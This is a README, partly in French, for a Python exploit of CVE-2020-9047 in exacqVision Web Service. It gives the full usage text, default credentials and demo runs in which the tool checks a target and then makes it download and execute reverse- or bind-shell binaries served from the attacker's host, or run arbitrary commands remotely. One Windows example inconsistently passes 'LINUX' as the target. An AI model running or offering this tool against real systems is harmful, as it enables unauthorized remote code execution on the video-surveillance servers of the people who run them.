norrismw/cve-2020-9047Exploit Python pour CVE-2020-9047 ciblant le service Web exacqVision. Prend en charge la livraison de charges utiles Windows/Linux, l'exécution de commandes à distance et l'empreinte de vulnérabilité via le mode CHECK.
usage: CVE-2020-9047.py [-h] [-p RPORT] [-s LPORT] [--command] [-d WEBDIR]
[-U USERNAME] [-P PASSWORD]
{WINDOWS,LINUX,CHECK} RHOST LHOST PAYLOAD
Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program
targets Windows and Linux x86 installations of exacqVision Web Service
versions 3.8.2.67295 - 20.06.3.0. Written by Michael W. Norris.
positional arguments:
{WINDOWS,LINUX,CHECK}
The target operating system. Provide "WINDOWS" for
Windows, "LINUX" for Linux, or "CHECK" to have this
program perform a check. When using "CHECK", '' can be
provided for the LHOST and PAYLOAD arguments.
RHOST The IP address of the remote host; the IP address of
the target.
LHOST The local IP address that will serve the payload for
the remote host. This should not be "localhost" or
"127.0.0.1". The remote host will need to be able to
connect to the provided IP address. This program
should be run on the system with the specified IP
address.
PAYLOAD The absolute file path of an existing Windows
executable (.exe) or Linux binary file on the local
system. The binary will be executed on the remote
host. If the --command flag is set and "LINUX" was
provided as the TARGET argument, enter a command that
will be executed on the remote host.
optional arguments:
-h, --help show this help message and exit
-p RPORT The port on the remote host where exacqVision Web
Service is running. Default: 80
-s LPORT The local port that will be used to serve the payload
file for the remote host. Default: 8000
--command Sets the command flag. The flag allows for a command
to be provided as the PAYLOAD argument instead of a
file path to a binary. The provided command will be
executed on the remote host. The flag should be set
only if "LINUX" was provided as the TARGET argument.
-d WEBDIR The local existing directory where a randomly named
temporary directory will be created. Default: /tmp
-U USERNAME The username for authenticating to the remote
exacqVision Web Service application. Default: admin
-P PASSWORD The password for authenticating to the remote
exacqVision Web Service application. Default: admin256
Pour vérifier si un système est vulnérable à CVE-2020-9047, s'il est susceptible d'être exploité par cet exploit et/ou pour identifier le système d'exploitation/architecture de l'hôte distant, utilisez la syntaxe de commande suivante. Dans cet exemple, l'hôte distant est 10.0.0.22 (RHOST).
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py CHECK 10.0.0.22 '' ''
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
Pour demander au système Linux distant 10.0.0.22 (RHOST) exécutant exacqVision Web Service sur le port TCP 8080 d'installer/exécuter une charge utile binaire ELF présente sur le système local 10.0.0.11 (LHOST) sur le port TCP 80, au chemin absolu /root/demo/shell_reverse_tcp (PAYLOAD), utilisez la syntaxe de commande suivante.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 -p 8080 10.0.0.11 -s 80 '/root/demo/ping_me'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:80
Serving payload from /tmp/tmpo7516343 directory
192.168.57.161 - - [03/Jun/2020 23:11:09] "GET /op0tv6l4 HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:11:13] "GET /aax35u41.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpo7516343
Stopping HTTP server on 0.0.0.0:80
Pour spécifier une commande (--command) à exécuter sur le système Linux distant comme argument PAYLOAD (au lieu d'une charge utile binaire ELF), utilisez la syntaxe de commande suivante.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 10.0.0.11 --command 'ping -c 5 10.0.0.11'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
The provided command will be executed on the remote system
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpp2wmx5x3 directory
192.168.57.161 - - [03/Jun/2020 23:22:04] "GET /no_n0zgk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:22:08] "GET /1vlkyw3.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpp2wmx5x3
Stopping HTTP server on 0.0.0.0:8000
Remarque : La spécification d'une commande comme argument PAYLOAD n'est prise en charge que pour les hôtes Linux distants.
Pour demander au système Windows distant 10.0.0.33 (RHOST) avec le mot de passe exacqVision Web Service asdf1234!@#$ d'installer/exécuter une charge utile exécutable Windows présente sur le système local 10.0.0.11 (LHOST) au chemin absolu /root/demo/shell_bind_tcp.exe (PAYLOAD), utilisez la syntaxe de commande suivante.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.33 -P 'asdf1234!@#$' 10.0.0.11 '/root/demo/shell_bind_tcp.exe'
Target OS: windows Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz
EVWS Version: 9.8.4.149166
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpgizzpfa4 directory
192.168.57.161 - - [03/Jun/2020 23:25:09] "GET /4kdjekqk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:25:13] "GET /fp92ecyj.exe HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpgizzpfa4
Stopping HTTP server on 0.0.0.0:8000